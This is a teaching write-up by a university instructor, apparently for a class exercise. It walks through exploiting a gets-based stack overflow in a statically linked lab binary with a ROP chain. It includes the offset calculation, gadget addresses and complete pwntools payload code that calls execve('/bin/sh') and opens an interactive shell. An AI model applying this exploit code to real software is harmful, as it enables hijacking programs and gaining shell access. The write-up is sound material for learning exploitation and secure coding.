Hello everyone! It's WittsEnd2. This is going to be a little bit different of a blog post. I teach a class called ENPM809V at the University of Maryland where students learn binary exploitation and secure coding programming principals. This write-up is focused on one of the in-class exercises related to ROP chain. As such, it is structured specific to the exercise; however, I hope you find it useful for learning ROP chain, how the stack works, and various tools like ROPGadget, Ropper, and pwntools.
The binary we are working with is statically compiled, so it is not a ret2libc. It is just a ROP Chain to get /bin/sh to execute.
Writeup
Let's begin by taking a look at the binary and see what we can do. The thing I always like to do first is see how the program behaves when I run it.

We can see that the program accepts some input, but can't figure anything else out. It doesn't give much indication about its behavior. Let's reverse-engineer this a little to see what additional information we can find.


Let's run it through the file
utility and checksec
to see what information we can get.
We know a few things:
- This is a 64 bit program
- It is statically linked — this means it does not rely on
shared objects or .so
. Everything is going to be contained within the binary. - This binary has
NX
enabled. - This binary is not a position-independent executable — this means that functions and heap-based memory always going to load in the same virtual address.
- Stack Canaries are enabled -(though we are going to see why this is a false positive)
Let's reverse-engineer the binary. I am going to open it in Binary Ninja and reverse-engineer it.

We can see that main call vuln, so let's reverse engineer that.

This is where it gets interesting. This is the function printing everything we saw. What we can see a few key things that are important:
- The program accepts input from
stdin
via the gets function. Thegets
function is subject to buffer overflows - It puts the information into a buffer on the stack.
- Neither main nor vuln call
call __stack_chk_fail
— this is used to determine if the canary was overwritten. This means that no canary is present.
This means we have a stack-based buffer overflow vulnerability. Now we need to figure out we need to write to the buffer.
If we were to figure out how much we need by calculating it, this is how we can figure it out:
push rbp
saves the base register to the stack (this is for the previous function) - add 8 bytes.- We see the instruction
mob rbp, rsp
andsub rsp, 0x60
. This means we are setting the base register of the function to just after the saved RBP and we are making0x60
bytes on the stack to store local variables. - We can see that the buffer's address is
0x60
away from RBP from the instructionlea rax, [rbp-0x60 {var_68}]
. This means that to get to the return address, we need to do the following computation0x60+0x8
The other way that we can do this is by using pwndbg's cyclic utility:



Now from here we have to get a shell. We know that we have to build a ROP chain, but there are two approaches to doing it:
- Manually lookup the various gadgets.
- Utilize pwntools to find the gadgets.
We will go through both methods: first manually and then through pwntools.
So let's think about what we are trying to achieve: we are trying to execute the follwoing:
execve("/bin/sh", 0, 0)
What does this look like in assembly?
mov rdx, 0
mov rsi, 0
mov rdi, 0xaddr_of_binsh
mov rax, 0x3b
syscall
How can we recreate this? The one part that we have control over is the stack — the reason why we have control over the stack is because the buffer overflow. Let's examine the stack for a second. This is what it looks like when we call a function.
| param 2 |
| param 1 |
| Ret Addr |
| Saved RBP |
| local var 3 | <--- RBP
| local var 2 |
| local var 1 | <--- RSP
When we return from the function normally (after calling leave; ret
), this is what it ends up looking like:
| | <---- RBP
| |
| param 2 |
| param 1 | <---- RSP
| Ret Addr |
| Saved RBP |
| local var 3 |
| local var 2 |
| local var 1 |
Why is this important? Well we need to think about what the pop
instruction does. The pop instruction takes whatever is in the top of the stack and put it into a register. It then shifts RSP by 8 bytes.
Let's take the stack above and run pop rax
on it. Let's see what happens:
| | <---- RBP
| |
| param 2 | <---- RSP
| param 1 |
| Ret Addr |
| Saved RBP |
| local var 3 |
| local var 2 |
| local var 1 |
RAX = param 1
With this logic here, we can recreate the execution of /bin/sh
with the following:
| addr_of_syscall |
| 0x3b (execve) |
| addr_of _pop_rax_ret |
| addr_of_/bin/sh |
| addr_of_pop_rdi_ret |
| 0x0 |
| addr_of_pop_rsi_ret |
| 0x0 | <---- RSP
| addr_of_pop_rdx_ret |
| Saved RBP |
| local var 3 |
| local var 2 |
| local var 1 |
RAX = param 1
How can we find the gadgets manually? We can search for them via tools like ROPGadget or Ropper.

We can take ROP Gadgets we like (for example, I like the one at 0x4017cf
because there aren't any extranious instructions) and create our payload!
This is what the final payload (with a little assistance from pwntools)
pop_rax = p64(0x449307)
pop_rdi = p64(0x00000000004018c2)
pop_rsi = p64(0x40f23e)
pop_rdx = p64(0x4017cf)
execve_sys_num = p64(0x3b)
zero = p64(0)
binsh = p64(next(exe.search(b"/bin/sh"))) # Instead of maanually looking for /bin/sh manually, I am having pwntools look at it for me.
syscall = p64(0x0000000000416ee4)
# One way to craft our final payload
payload = b"A"*104+pop_rax+execve_sys_num+pop_rdi+binsh+pop_rdx+zero+pop_rsi+zero+syscall
#Another way utilizing pwntools fit().
payload = fit([
b"\x90"*104,
pop_rax, # Set syscall number
execve_sys_num,
pop_rdi, # Set first parameter
binsh,
pop_rdx, # Set third parameter
zero,
pop_rsi, # Set second parameter
zero,
syscall])
io.recvuntil(b"What would you like to do today?")
io.sendline(payload)
What if we are super lazy and want pwntools to actually find the rop gadgets for us (or we are doing it because we are having difficulty crafting it manually)
Here is how you would util
# this signifies to analyze binary for ROP gadgets
rop = ROP([exe])
# Ssearch for /bin/sh and contstruct a ROP chain execute execve("/bin/sh", 0, 0)
binsh = next(exe.search(b"/bin/sh"))
rop.execve(binsh, 0, 0)
log.info("Rop is the following:\n {}".format(rop.dump()))
log.info("Rop dump = {}".format(rop.chain()))
io.recvuntil(b"What would you like to do today?")
# Create out payload and get an interactive shell
payload = b"\x90"*104+rop.chain()
io.sendline(payload)
io.interactive()
After crafting your payload, your terminal should look similar (granted I am working on local host and not on pwn.college)
